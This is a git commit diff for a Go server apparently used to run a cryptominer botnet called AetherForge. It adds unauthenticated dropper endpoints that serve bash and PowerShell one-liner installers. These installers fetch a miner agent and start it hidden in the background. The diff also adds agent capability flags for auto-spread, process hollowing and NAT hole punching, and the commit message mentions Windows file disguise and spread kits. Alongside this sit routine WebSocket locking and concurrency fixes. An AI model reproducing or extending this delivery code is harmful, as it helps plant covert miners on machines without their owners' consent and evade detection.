Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
||||
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
202
server/internal/api/dropper_handler.go
Normal file
202
server/internal/api/dropper_handler.go
Normal file
@@ -0,0 +1,202 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DropperHandler serves the one-liner remote-install endpoints:
|
||||
//
|
||||
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
publicURLFunc func() string
|
||||
}
|
||||
|
||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||
}
|
||||
|
||||
func (h *DropperHandler) publicURL() string {
|
||||
if h.publicURLFunc != nil {
|
||||
if u := h.publicURLFunc(); u != "" {
|
||||
return strings.TrimRight(u, "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// detectPlatform picks the right build platform from an explicit query param or
|
||||
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
||||
func detectPlatform(r *http.Request) string {
|
||||
if p := r.URL.Query().Get("os"); p != "" {
|
||||
switch strings.ToLower(p) {
|
||||
case "windows", "win":
|
||||
return "windows"
|
||||
case "linux":
|
||||
return "linux"
|
||||
case "darwin", "mac", "macos":
|
||||
return "darwin"
|
||||
case "universal", "any":
|
||||
return "universal"
|
||||
}
|
||||
}
|
||||
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
||||
switch {
|
||||
case strings.Contains(ua, "windows"):
|
||||
return "windows"
|
||||
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
||||
return "darwin"
|
||||
case strings.Contains(ua, "linux"):
|
||||
return "linux"
|
||||
}
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath = b.FilePath
|
||||
buildName = filepath.Base(b.FilePath)
|
||||
break
|
||||
}
|
||||
}
|
||||
if buildPath == "" {
|
||||
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
// Best-effort: derive from request
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge one-liner installer
|
||||
# Usage: curl -sL %s/install.sh | bash
|
||||
|
||||
set -e
|
||||
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="amd64" ;;
|
||||
aarch64|arm64) ARCH="arm64" ;;
|
||||
esac
|
||||
|
||||
TMPDIR="$(mktemp -d)"
|
||||
DEST="$TMPDIR/worker"
|
||||
|
||||
echo "[*] Downloading agent for $OS/$ARCH..."
|
||||
curl -sL -o "$DEST" "%s/get?os=$OS"
|
||||
|
||||
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
||||
echo "[*] Extracting universal bundle..."
|
||||
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
||||
cd "$TMPDIR/bundle"
|
||||
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
||||
if [ "$OS" = "darwin" ]; then
|
||||
for L in Start.command start.command; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
||||
done
|
||||
fi
|
||||
for L in start.sh deploy.sh; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
||||
done
|
||||
echo "[!] Could not find launcher in bundle"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
chmod +x "$DEST"
|
||||
echo "[*] Launching..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!)"
|
||||
`, base, base)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
||||
// script as a regular string so we can escape them properly.
|
||||
bt := "`" // backtick character
|
||||
script := "# AetherForge one-liner installer\n" +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
||||
"$ErrorActionPreference = 'Stop'\n" +
|
||||
"$url = '" + base + "/get?os=windows'\n" +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
||||
"Write-Host '[*] Downloading agent...'\n" +
|
||||
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
||||
"if ($isZip) {\n" +
|
||||
" Write-Host '[*] Extracting universal bundle...'\n" +
|
||||
" $dir = $tmp + '_bundle'\n" +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
||||
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
||||
" $bat = $null\n" +
|
||||
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
||||
" $candidate = Join-Path $dir $name\n" +
|
||||
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
||||
" }\n" +
|
||||
" if ($bat) {\n" +
|
||||
" Write-Host '[*] Running launcher...'\n" +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
||||
" } else {\n" +
|
||||
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
||||
" }\n" +
|
||||
"} else {\n" +
|
||||
" $exe = $tmp + '.exe'\n" +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
||||
" Write-Host '[*] Launching...'\n" +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
||||
"}\n" +
|
||||
"Write-Host '[+] Agent deployed.'\n"
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
content := f.ws.GetAgentLog(id)
|
||||
if r.URL.Query().Get("refresh") == "1" {
|
||||
// Fire the get_log command and return immediately — the response arrives
|
||||
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
for i := 0; i < 12; i++ {
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if c := f.ws.GetAgentLog(id); c != "" {
|
||||
content = c
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
|
||||
@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
|
||||
}
|
||||
|
||||
func TestHealthIsPublic(t *testing.T) {
|
||||
|
||||
@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
}
|
||||
|
||||
// Serve frontend SPA
|
||||
if webRoot != "" {
|
||||
// Check if webroot directory exists
|
||||
|
||||
@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
return c.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||
// broadcastDashboard and the ping loop never race on the same connection.
|
||||
type DashboardConn struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteMessage(messageType, data)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
dashboards map[string]*DashboardConn
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentLogs map[string]string
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentCapabilities map[string]models.AgentCapabilities
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
mu sync.RWMutex
|
||||
@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
dc.Conn.SetPongHandler(func(string) error {
|
||||
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopRaw(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
HolePunch: auth.HolePunch,
|
||||
RemoteAggressive: auth.RemoteAggressive,
|
||||
MeshP2P: auth.MeshP2P,
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.agentCapabilities[agentID] = caps
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
Platform: auth.Platform,
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
dc := &DashboardConn{Conn: conn}
|
||||
dashID := uuid.New().String()
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = conn
|
||||
h.dashboards[dashID] = dc
|
||||
h.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Send initial data
|
||||
agents, _ := h.db.ListAgents()
|
||||
h.enrichAgentsCapabilities(agents)
|
||||
stats, _ := h.db.GetFleetStats()
|
||||
|
||||
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
"agents": agents,
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopDash(dc)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
return
|
||||
}
|
||||
|
||||
for id, conn := range h.dashboards {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for _, a := range agents {
|
||||
if a == nil {
|
||||
continue
|
||||
}
|
||||
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||||
c := caps
|
||||
a.Capabilities = &c
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
Reference in New Issue
Block a user